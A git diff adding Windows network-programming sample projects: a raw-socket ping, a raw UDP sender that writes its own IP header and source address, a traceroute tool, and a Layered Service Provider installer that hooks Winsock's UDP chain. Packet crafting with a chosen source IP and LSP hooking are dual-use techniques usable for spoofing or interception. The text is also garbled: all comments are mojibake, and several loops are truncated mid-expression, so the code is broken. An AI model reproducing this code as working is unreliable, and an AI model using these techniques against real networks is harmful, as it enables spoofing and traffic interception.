ÓÃÀ´Î©Ò»±êʶ´ËÇëÇóµÄIDºÅ£¬Í¨³£ÉèÖÃΪ½ø³ÌID + unsigned short icmp_sequence; // ÐòÁкŠ+ unsigned long icmp_timestamp; // ʱ¼ä´Á +} ICMP_HDR, *PICMP_HDR; + + +int main() +{ + // Ä¿µÄIPµØÖ·£¬¼´ÒªPingµÄIPµØÖ· + char szDestIp[] = "10.16.115.178"; // 127.0.0.1 + + // ´´½¨Ô­Ê¼Ì×½Ú×Ö + SOCKET sRaw = ::socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); + + // ÉèÖýÓÊÕ³¬Ê± + SetTimeout(sRaw, 1000, TRUE); + + // ÉèÖÃÄ¿µÄµØÖ· + SOCKADDR_IN dest; + dest.sin_family = AF_INET; + dest.sin_port = htons(0); + dest.sin_addr.S_un.S_addr = inet_addr(szDestIp); + + // ´´½¨ICMP·â°ü + char buff[sizeof(ICMP_HDR) + 32]; + ICMP_HDR* pIcmp = (ICMP_HDR*)buff; + // ÌîдICMP·â°üÊý¾Ý + pIcmp->icmp_type = 8; // ÇëÇóÒ»¸öICMP»ØÏÔ + pIcmp->icmp_code = 0; + pIcmp->icmp_id = (USHORT)::GetCurrentProcessId(); + pIcmp->icmp_checksum = 0; + pIcmp->icmp_sequence = 0; + // Ìî³äÊý¾Ý²¿·Ö£¬¿ÉÒÔΪÈÎÒâ + memset(&buff[sizeof(ICMP_HDR)], 'E', 32); + + // ¿ªÊ¼·¢ËͺͽÓÊÕICMP·â°ü + USHORT nSeq = 0; + char recvBuf[1024]; + SOCKADDR_IN from; + int nLen = sizeof(from); + while(TRUE) + { + static int nCount = 0; + int nRet; + if(nCount++ == 4) + break; + pIcmp->icmp_checksum = 0; + pIcmp->icmp_timestamp = ::GetTickCount(); + pIcmp->icmp_sequence = nSeq++; + pIcmp->icmp_checksum = checksum((USHORT*)buff, sizeof(ICMP_HDR) + 32); + nRet = ::sendto(sRaw, buff, sizeof(ICMP_HDR) + 32, 0, (SOCKADDR *)&dest, sizeof(dest)); + if(nRet == SOCKET_ERROR) + { + printf(" sendto() failed: %d \n", ::WSAGetLastError()); + return -1; + } + nRet = ::recvfrom(sRaw, recvBuf, 1024, 0, (sockaddr*)&from, &nLen); + if(nRet == SOCKET_ERROR) + { + if(::WSAGetLastError() == WSAETIMEDOUT) + { + printf(" timed out\n"); + continue; + } + printf(" recvfrom() failed: %d\n", ::WSAGetLastError()); + return -1; + } + + // ÏÂÃ濪ʼ½âÎö½ÓÊÕµ½µÄICMP·â°ü + int nTick = ::GetTickCount(); + if(nRet < sizeof(IPHeader) + sizeof(ICMP_HDR)) + { + printf(" Too few bytes from %s \n", ::inet_ntoa(from.sin_addr)); + } + // ½ÓÊÕµ½µÄÊý¾ÝÖаüº¬IPÍ·£¬IPÍ·´óСΪ20¸ö×Ö½Ú£¬ËùÒÔ¼Ó20µÃµ½ICMPÍ· + ICMP_HDR* pRecvIcmp = (ICMP_HDR*)(recvBuf + 20); // (ICMP_HDR*)(recvBuf + sizeof(IPHeader)); + if(pRecvIcmp->icmp_type != 0) // »ØÏÔ + { + printf(" nonecho type %d recvd \n", pRecvIcmp->icmp_type); + return -1; + } + + if(pRecvIcmp->icmp_id != ::GetCurrentProcessId()) + { + printf(" someone else's packet! \n"); + return -1; + } + + printf(" %d bytes from %s:", nRet, inet_ntoa(from.sin_addr)); + printf(" icmp_seq = %d. ", pRecvIcmp->icmp_sequence); + printf(" time: %d ms", nTick - pRecvIcmp->icmp_timestamp); + printf(" \n"); + + ::Sleep(1000); + } + + return 0; +} + + + diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/ping/ping.sln" "b/Project/Network and Communication/\347\254\2546\347\253\240/ping/ping.sln" new file mode 100644 index 0000000..72783e6 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/ping/ping.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ping", "ping.vcproj", "{1D4747D7-5B73-4EFC-B79A-BEAB63062BA9}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {1D4747D7-5B73-4EFC-B79A-BEAB63062BA9}.Debug|Win32.ActiveCfg = Debug|Win32 + {1D4747D7-5B73-4EFC-B79A-BEAB63062BA9}.Debug|Win32.Build.0 = Debug|Win32 + {1D4747D7-5B73-4EFC-B79A-BEAB63062BA9}.Release|Win32.ActiveCfg = Release|Win32 + {1D4747D7-5B73-4EFC-B79A-BEAB63062BA9}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/ping/ping.suo" "b/Project/Network and Communication/\347\254\2546\347\253\240/ping/ping.suo" new file mode 100644 index 0000000..fc21fb0 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2546\347\253\240/ping/ping.suo" differ diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/ping/ping.vcproj" "b/Project/Network and Communication/\347\254\2546\347\253\240/ping/ping.vcproj" new file mode 100644 index 0000000..4f94368 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/ping/ping.vcproj" @@ -0,0 +1,264 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/rawudp/_desktop.ini" "b/Project/Network and Communication/\347\254\2546\347\253\240/rawudp/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/rawudp/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/rawudp/rawudp.cpp" "b/Project/Network and Communication/\347\254\2546\347\253\240/rawudp/rawudp.cpp" new file mode 100644 index 0000000..d3fe800 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/rawudp/rawudp.cpp" @@ -0,0 +1,173 @@ +/////////////////////////////////////////// +// rawudp.cppÎļþ + +#include "../common/initsock.h" +#include "../common/protoinfo.h" +#include "../common/comm.h" + +#include +#include // ¶¨ÒåÁËIP_HDRINCL + +CInitSock theSock; + + +/* +¼ÆËãUDPαͷУÑéºÍ¡£UDPУÑéºÍ»ùÓÚÈçϼ¸¸öÓò£º + Ô´IPµØÖ· + Ä¿µÄIPµØÖ· + 8λ0Óò + 8λЭÒéÓò + 16λUDP³¤¶È + 16λԴ¶Ë¿ÚºÅ + 16λĿµÄ¶Ë¿ÚºÅ + 16λUDP·â°ü³¤¶È + 16λUDPУÑéºÍ£¨0£© + UDP¾»ºÉ + */ +void ComputeUdpPseudoHeaderChecksum( + IPHeader *pIphdr, + UDPHeader *pUdphdr, + char *payload, + int payloadlen + ) +{ + char buff[1024]; + char *ptr = buff; + int chksumlen = 0; + ULONG zero = 0; + + // °üº¬Ô´IPµØÖ·ºÍÄ¿µÄIPµØÖ· + memcpy(ptr, &pIphdr->ipSource, sizeof(pIphdr->ipSource)); + ptr += sizeof(pIphdr->ipSource); + chksumlen += sizeof(pIphdr->ipSource); + + memcpy(ptr, &pIphdr->ipDestination, sizeof(pIphdr->ipDestination)); + ptr += sizeof(pIphdr->ipDestination); + chksumlen += sizeof(pIphdr->ipDestination); + + // °üº¬8λ0Óò + memcpy(ptr, &zero, 1); + ptr += 1; + chksumlen += 1; + + // ЭÒé + memcpy(ptr, &pIphdr->ipProtocol, sizeof(pIphdr->ipProtocol)); + ptr += sizeof(pIphdr->ipProtocol); + chksumlen += sizeof(pIphdr->ipProtocol); + + // UDP³¤¶È + memcpy(ptr, &pUdphdr->len, sizeof(pUdphdr->len)); + ptr += sizeof(pUdphdr->len); + chksumlen += sizeof(pUdphdr->len); + + // UDPÔ´¶Ë¿ÚºÅ + memcpy(ptr, &pUdphdr->sourcePort, sizeof(pUdphdr->sourcePort)); + ptr += sizeof(pUdphdr->sourcePort); + chksumlen += sizeof(pUdphdr->sourcePort); + + // UDPÄ¿µÄ¶Ë¿ÚºÅ + memcpy(ptr, &pUdphdr->destinationPort, sizeof(pUdphdr->destinationPort)); + ptr += sizeof(pUdphdr->destinationPort); + chksumlen += sizeof(pUdphdr->destinationPort); + + // ÓÖÊÇUDP³¤¶È + memcpy(ptr, &pUdphdr->len, sizeof(pUdphdr->len)); + ptr += sizeof(pUdphdr->len); + chksumlen += sizeof(pUdphdr->len); + + // 16λµÄUDPУÑéºÍ£¬ÖÃΪ0 + memcpy(ptr, &zero, sizeof(USHORT)); + ptr += sizeof(USHORT); + chksumlen += sizeof(USHORT); + + // ¾»ºÉ + memcpy(ptr, payload, payloadlen); + ptr += payloadlen; + chksumlen += payloadlen; + + // ²¹Æëµ½ÏÂÒ»¸ö16λ±ß½ç + for(int i=0; ichecksum = checksum((USHORT*)buff, chksumlen); +} + + +int main() +{ + // ÊäÈë²ÎÊýÐÅÏ¢ + char szDestIp[] = "10.16.115.88"; // <<== ÌîдĿµÄIPµØÖ· + char szSourceIp[] = "127.0.0.1"; // <<== ÌîдÄú×Ô¼ºµÄIPµØÖ· + + USHORT nDestPort = 4567; + USHORT nSourcePort = 8888; + char szMsg[] = "This is a test \r\n"; + int nMsgLen = strlen(szMsg); + + // ´´½¨Ô­Ê¼Ì×½Ú×Ö + SOCKET sRaw = ::socket(AF_INET, SOCK_RAW, IPPROTO_UDP); + + // ÓÐЧIPÍ·°üº¬Ñ¡Ïî + BOOL bIncl = TRUE; + ::setsockopt(sRaw, IPPROTO_IP, IP_HDRINCL, (char *)&bIncl, sizeof(bIncl)); + + char buff[1024] = { 0 }; + + // IPÍ· + IPHeader *pIphdr = (IPHeader *)buff; + pIphdr->iphVerLen = (4<<4 | (sizeof(IPHeader)/sizeof(ULONG))); + + pIphdr->ipLength = ::htons(sizeof(IPHeader) + sizeof(UDPHeader) + nMsgLen); + pIphdr->ipTTL = 128; + pIphdr->ipProtocol = IPPROTO_UDP; + pIphdr->ipSource = ::inet_addr(szSourceIp); + pIphdr->ipDestination = ::inet_addr(szDestIp); + pIphdr->ipChecksum = checksum((USHORT*)pIphdr, sizeof(IPHeader)); + + // UDPÍ· + UDPHeader *pUdphdr = (UDPHeader *)&buff[sizeof(IPHeader)]; + pUdphdr->sourcePort = htons(8888); + pUdphdr->destinationPort = htons(nDestPort); + pUdphdr->len = htons(sizeof(UDPHeader) + nMsgLen); + pUdphdr->checksum = 0; + + char *pData = &buff[sizeof(IPHeader) + sizeof(UDPHeader)]; + memcpy(pData, szMsg, nMsgLen); + + ComputeUdpPseudoHeaderChecksum(pIphdr, pUdphdr, pData, nMsgLen); + + // ÉèÖÃÄ¿µÄµØÖ· + SOCKADDR_IN destAddr = { 0 }; + destAddr.sin_family = AF_INET; + destAddr.sin_port = htons(nDestPort); + destAddr.sin_addr.S_un.S_addr = ::inet_addr(szDestIp); + + // ·¢ËÍԭʼUDP·â°ü + int nRet; + for(int i=0; i<5; i++) + { + nRet = ::sendto(sRaw, buff, + sizeof(IPHeader) + sizeof(UDPHeader) + nMsgLen, 0, (sockaddr*)&destAddr, sizeof(destAddr)); + if(nRet == SOCKET_ERROR) + { + printf(" sendto() failed: %d \n", ::WSAGetLastError()); + break; + } + else + { + printf(" sent %d bytes \n", nRet); + } + } + + ::closesocket(sRaw); + + getchar(); + return 0; +} + + + diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/rawudp/rawudp.sln" "b/Project/Network and Communication/\347\254\2546\347\253\240/rawudp/rawudp.sln" new file mode 100644 index 0000000..301c907 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/rawudp/rawudp.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "rawudp", "rawudp.vcproj", "{111B738C-77C8-4474-8A91-2768805121CD}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {111B738C-77C8-4474-8A91-2768805121CD}.Debug|Win32.ActiveCfg = Debug|Win32 + {111B738C-77C8-4474-8A91-2768805121CD}.Debug|Win32.Build.0 = Debug|Win32 + {111B738C-77C8-4474-8A91-2768805121CD}.Release|Win32.ActiveCfg = Release|Win32 + {111B738C-77C8-4474-8A91-2768805121CD}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/rawudp/rawudp.suo" "b/Project/Network and Communication/\347\254\2546\347\253\240/rawudp/rawudp.suo" new file mode 100644 index 0000000..f9a98ca Binary files /dev/null and "b/Project/Network and Communication/\347\254\2546\347\253\240/rawudp/rawudp.suo" differ diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/rawudp/rawudp.vcproj" "b/Project/Network and Communication/\347\254\2546\347\253\240/rawudp/rawudp.vcproj" new file mode 100644 index 0000000..cfe4671 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/rawudp/rawudp.vcproj" @@ -0,0 +1,264 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/routetracer/_desktop.ini" "b/Project/Network and Communication/\347\254\2546\347\253\240/routetracer/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/routetracer/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/routetracer/routetracer.cpp" "b/Project/Network and Communication/\347\254\2546\347\253\240/routetracer/routetracer.cpp" new file mode 100644 index 0000000..4a444ee --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/routetracer/routetracer.cpp" @@ -0,0 +1,146 @@ +///////////////////////////////////////////////// +// routetracer.cppÎļþ + + + +#include "../common/initsock.h" +#include "../common/protoinfo.h" +#include "../common/comm.h" + +#include + + +CInitSock theSock; + +typedef struct icmp_hdr +{ + unsigned char icmp_type; // ÏûÏ¢ÀàÐÍ + unsigned char icmp_code; // ´úÂë + unsigned short icmp_checksum; // УÑéºÍ + // ÏÂÃæÊÇ»ØÏÔÍ· + unsigned short icmp_id; // ÓÃÀ´Î©Ò»±êʶ´ËÇëÇóµÄIDºÅ£¬Í¨³£ÉèÖÃΪ½ø³ÌID + unsigned short icmp_sequence; // ÐòÁкŠ+ unsigned long icmp_timestamp; // ʱ¼ä´Á +} ICMP_HDR, *PICMP_HDR; + + + +void main() +{ + char *szDestIp = "10.16.115.178"; // 210.181.18.12910.16.115.25 61.55.66.30 + + char recvBuf[1024] = { 0 }; + + // ´´½¨ÓÃÓÚ½ÓÊÕICMP·â°üµÄԭʼÌ×½Ú×Ö£¬°ó¶¨µ½±¾µØ¶Ë¿Ú + SOCKET sRaw = ::socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); + sockaddr_in in; + in.sin_family = AF_INET; + in.sin_port = 0; + in.sin_addr.S_un.S_addr = INADDR_ANY; + if(::bind(sRaw, (sockaddr*)&in, sizeof(in)) == SOCKET_ERROR) + { + printf(" bind() failed \n"); + return; + } + + SetTimeout(sRaw, 5*1000); + + // ´´½¨ÓÃÓÚ·¢ËÍUDP·â°üµÄÌ×½Ú×Ö + SOCKET sSend = ::socket(AF_INET, SOCK_DGRAM, 0); + + SOCKADDR_IN destAddr; + destAddr.sin_family = AF_INET; + destAddr.sin_port = ::htons(22); + destAddr.sin_addr.S_un.S_addr = ::inet_addr(szDestIp); + + + int nTTL = 1; + int nRet; + ICMP_HDR *pICMPHdr; + int nTick; + SOCKADDR_IN recvAddr; + do + { + // ÉèÖÃUDP·â°üµÄTTLÖµ + SetTTL(sSend, nTTL); + nTick = ::GetTickCount(); + + // ·¢ËÍÕâ¸öUDP·â°ü + nRet = ::sendto(sSend, "hello", 5, 0, (sockaddr*)&destAddr, sizeof(destAddr)); + if(nRet == SOCKET_ERROR) + { + printf(" sendto() failed \n"); + break; + } + + + // µÈ´ý½ÓÊÕ·ÓÉÆ÷·µ»ØµÄICMP±¨ÎÄ + int nLen = sizeof(recvAddr); + nRet = ::recvfrom(sRaw, recvBuf, 1024, 0, (sockaddr*)&recvAddr, &nLen); + if(nRet == SOCKET_ERROR) + { + if(::WSAGetLastError() == WSAETIMEDOUT) + { + printf(" time out \n"); + break; + } + else + { + printf(" recvfrom() failed \n"); + break; + } + } + + // ½âÎö½ÓÊÕµ½µÄICMPÊý¾Ý + pICMPHdr = (ICMP_HDR*)&recvBuf[20]; // sizeof(IPHeader) + + if(pICMPHdr->icmp_type != 11 && pICMPHdr->icmp_type != 3 && pICMPHdr->icmp_code != 3) + { + printf(" Unexpected Type: %d , code: %d \n", + pICMPHdr->icmp_type, pICMPHdr->icmp_code); + } + else + { + char *szIP = ::inet_ntoa(recvAddr.sin_addr); + + printf(" µÚ%d¸ö·ÓÉÆ÷£¬IPµØÖ·£º%s \n", nTTL, szIP); + printf(" ÓÃʱ£º%dºÁÃë \n", ::GetTickCount() - nTick); + } + + if(destAddr.sin_addr.S_un.S_addr == recvAddr.sin_addr.S_un.S_addr) + { + printf("Ä¿±ê¿É´ï \n"); + break; + } + + printf("//------------------------------------// \n"); + + }while(nTTL++ < 20); + + ::closesocket(sRaw); + ::closesocket(sSend); +} + + +/* + in_addr addr; + addr.S_un.S_addr = pIPHdr->ipSource; + + addr.S_un.S_addr = pIPHdr->ipDestination; + printf(" dest addr : %s \n", ::inet_ntoa(addr)); + + if(pIPHdr->ipSource != recvAddr.sin_addr.S_un.S_addr) + { + printf(" error ip addr \n"); + } + + + + + + + + pIPHdr = (IPHeader*)recvBuf; + int nHdrLen = (pIPHdr->iphVerLen & 0x0F)*4; // µÍ×Ö½Ú + + */ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/routetracer/routetracer.sln" "b/Project/Network and Communication/\347\254\2546\347\253\240/routetracer/routetracer.sln" new file mode 100644 index 0000000..11fc83d --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/routetracer/routetracer.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "routetracer", "routetracer.vcproj", "{10EC749C-879D-43ED-AF62-F8A4B65CD82A}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {10EC749C-879D-43ED-AF62-F8A4B65CD82A}.Debug|Win32.ActiveCfg = Debug|Win32 + {10EC749C-879D-43ED-AF62-F8A4B65CD82A}.Debug|Win32.Build.0 = Debug|Win32 + {10EC749C-879D-43ED-AF62-F8A4B65CD82A}.Release|Win32.ActiveCfg = Release|Win32 + {10EC749C-879D-43ED-AF62-F8A4B65CD82A}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/routetracer/routetracer.suo" "b/Project/Network and Communication/\347\254\2546\347\253\240/routetracer/routetracer.suo" new file mode 100644 index 0000000..62b7708 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2546\347\253\240/routetracer/routetracer.suo" differ diff --git "a/Project/Network and Communication/\347\254\2546\347\253\240/routetracer/routetracer.vcproj" "b/Project/Network and Communication/\347\254\2546\347\253\240/routetracer/routetracer.vcproj" new file mode 100644 index 0000000..705373f --- /dev/null +++ "b/Project/Network and Communication/\347\254\2546\347\253\240/routetracer/routetracer.vcproj" @@ -0,0 +1,264 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/Debug/InstDemo.exe" "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/Debug/InstDemo.exe" new file mode 100644 index 0000000..b59c343 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/Debug/InstDemo.exe" differ diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/Debug/LSP.dll" "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/Debug/LSP.dll" new file mode 100644 index 0000000..2c65259 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/Debug/LSP.dll" differ diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/Debug/_desktop.ini" "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/Debug/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/Debug/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/InstDemo.cpp" "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/InstDemo.cpp" new file mode 100644 index 0000000..1812f70 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/InstDemo.cpp" @@ -0,0 +1,206 @@ +//////////////////////////////////////////////////////// +// InstDemo.cpp + +#include +#include // ¶¨ÒåÁËWSCWriteProviderOrderº¯Êý + +#include +#include + +#pragma comment(lib, "Ws2_32.lib") +#pragma comment(lib, "Rpcrt4.lib") // ʵÏÖÁËUuidCreateº¯Êý + + +// Òª°²×°µÄLSPµÄÓ²±àÂ룬ÔÚÒƳýµÄʱºò»¹ÒªÊ¹ÓÃËü +GUID ProviderGuid = {0xd3c21122, 0x85e1, 0x48f3, {0x9a,0xb6,0x23,0xd9,0x0c,0x73,0x07,0xef}}; + + +LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols) +{ + DWORD dwSize = 0; + int nError; + LPWSAPROTOCOL_INFOW pProtoInfo = NULL; + + // È¡µÃÐèÒªµÄ³¤¶È + if(::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR) + { + if(nError != WSAENOBUFS) + return NULL; + } + + pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize); + *lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError); + return pProtoInfo; +} + +void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo) +{ + ::GlobalFree(pProtoInfo); +} + + +// ½«LSP°²×°µ½UDPЭÒéÌṩÕßÖ®ÉÏ +int InstallProvider(WCHAR *wszDllPath) +{ + WCHAR wszLSPName[] = L"TinyLSP"; // ÎÒÃǵÄLSPµÄÃû³Æ + int nError = NO_ERROR; + + LPWSAPROTOCOL_INFOW pProtoInfo; + int nProtocols; + WSAPROTOCOL_INFOW UDPLayeredInfo, UDPChainInfo; // ÎÒÃÇÒª°²×°µÄUDP·Ö²ãЭÒéºÍЭÒéÁ´ + DWORD dwUdpOrigCatalogId, dwLayeredCatalogId; + + // ÔÚWinsockĿ¼ÖÐÕÒµ½Ô­À´µÄUDPЭÒé·þÎñÌṩÕߣ¬ÎÒÃǵÄLSPÒª°²×°ÔÚËüÖ®ÉÏ + // ö¾ÙËùÓзþÎñ³ÌÐòÌṩÕß + pProtoInfo = GetProvider(&nProtocols); + for(int i=0; i0 ; i--) + { + UDPChainInfo.ProtocolChain.ChainEntries[i] = UDPChainInfo.ProtocolChain.ChainEntries[i-1]; + } + } + UDPChainInfo.ProtocolChain.ChainLen ++; + // ½«ÎÒÃǵķֲãЭÒéÖÃÓÚ´ËЭÒéÁ´µÄ¶¥²ã + UDPChainInfo.ProtocolChain.ChainEntries[0] = dwLayeredCatalogId; + // »ñÈ¡Ò»¸öGuid£¬°²×°Ö® + GUID ProviderChainGuid; + if(::UuidCreate(&ProviderChainGuid) == RPC_S_OK) + { + if(::WSCInstallProvider(&ProviderChainGuid, + wszDllPath, &UDPChainInfo, 1, &nError) == SOCKET_ERROR) + return nError; + } + else + return GetLastError(); + + + + // ÖØÐÂÅÅÐòWinsockĿ¼£¬½«ÎÒÃǵÄЭÒéÁ´ÌáÇ° + // ÖØÐÂö¾Ù°²×°µÄЭÒé + FreeProvider(pProtoInfo); + pProtoInfo = GetProvider(&nProtocols); + + DWORD dwIds[20]; + int nIndex = 0; + // Ìí¼ÓÎÒÃǵÄЭÒéÁ´ + for(i=0; i 1) && + (pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId)) + dwIds[nIndex++] = pProtoInfo[i].dwCatalogEntryId; + } + // Ìí¼ÓÆäËüЭÒé + for(i=0; i 1) && + (pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId)) + { + ::WSCDeinstallProvider(&pProtoInfo[i].ProviderId, &nError); + } + } + // ÒƳý·Ö²ãЭÒé + ::WSCDeinstallProvider(&ProviderGuid, &nError); + } +} + + + +//////////////////////////////////////////////////// + +int binstall = 0; +void main() +{ + if(binstall) + { + if(InstallProvider(L"lsp.dll") == ERROR_SUCCESS) + { + printf(" Install successully \n"); + } + else + { + printf(" Install failed \n"); + } + } + else + RemoveProvider(); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/InstDemo.dsp" "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/InstDemo.dsp" new file mode 100644 index 0000000..9fe986b --- /dev/null +++ "b/Project/Network and Communication/\347\254\2547\347\253\240/InstDemo/InstDemo.dsp" @@ -0,0 +1,100 @@ +# Microsoft Developer Studio Project File - Name="InstDemo" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Console Application" 0x0103 + +CFG=InstDemo - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "InstDemo.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "InstDemo.mak" CFG="InstDemo - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "InstDemo - Win32 Release" (based on "Win32 (x86) Console Application") +!MESSAGE "InstDemo - Win32 Debug" (based on "Win32 (x86) Console Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +RSC=rc.exe + +!IF "$(CFG)" == "InstDemo - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 + +!ELSEIF "$(CFG)" == "InstDemo - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c +# ADD CPP /nologo /W3 